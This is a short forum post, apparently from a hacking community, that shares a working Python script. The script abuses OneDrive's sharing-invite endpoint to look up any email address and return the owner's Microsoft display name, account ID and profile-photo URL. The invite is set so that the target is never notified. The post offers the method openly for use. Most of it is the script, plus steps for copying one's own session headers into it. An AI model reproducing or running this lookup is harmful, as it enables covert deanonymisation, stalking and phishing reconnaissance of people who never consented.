OP 03 December, 2022 - 10:29 PM
(This post was last modified: 03 December, 2022 - 10:34 PM by Magazine. Edited 1 time in total.)
This is what it looks like after use.
This method abuses the onedrive feature, and doesn't even warn the user about it.
Invite a user then open inspect element, go to the network tab and look for the "INVITE" request.
Copy the headers and port it to this code :
Code:
import json
import requests
your_url = ' '
email_to_lookup = input('Email: ')
headers = {}
data = {"recipients":[{"email":email_to_lookup}],"message":"","requireSignIn":False,"sendInvitation":False,"roles":["read"]}
response = requests.post(your_url, headers=headers, data=json.dumps(data))
stock_resp = response.json()['value'][0]['grantedTo']['user']
try:
display_name = stock_resp['displayName']
microsoft_id = stock_resp['id']
microsoft_pfp = f'https://storage.live.com/users/0x{microsoft_id}/myprofile/expressionprofile/profilephoto:UserTileLarge,UserTileStatic/MeControlMediumUserTile?ck=1&ex=24&fofoff=1'
print('Display Name : '+display_name +'\n'+'Microsoft ID : '+microsoft_id+'\n'+'Avatar Url : '+microsoft_pfp)
except:
print('No Account Found.')
Easy, you now have a working Microsoft Email look up method.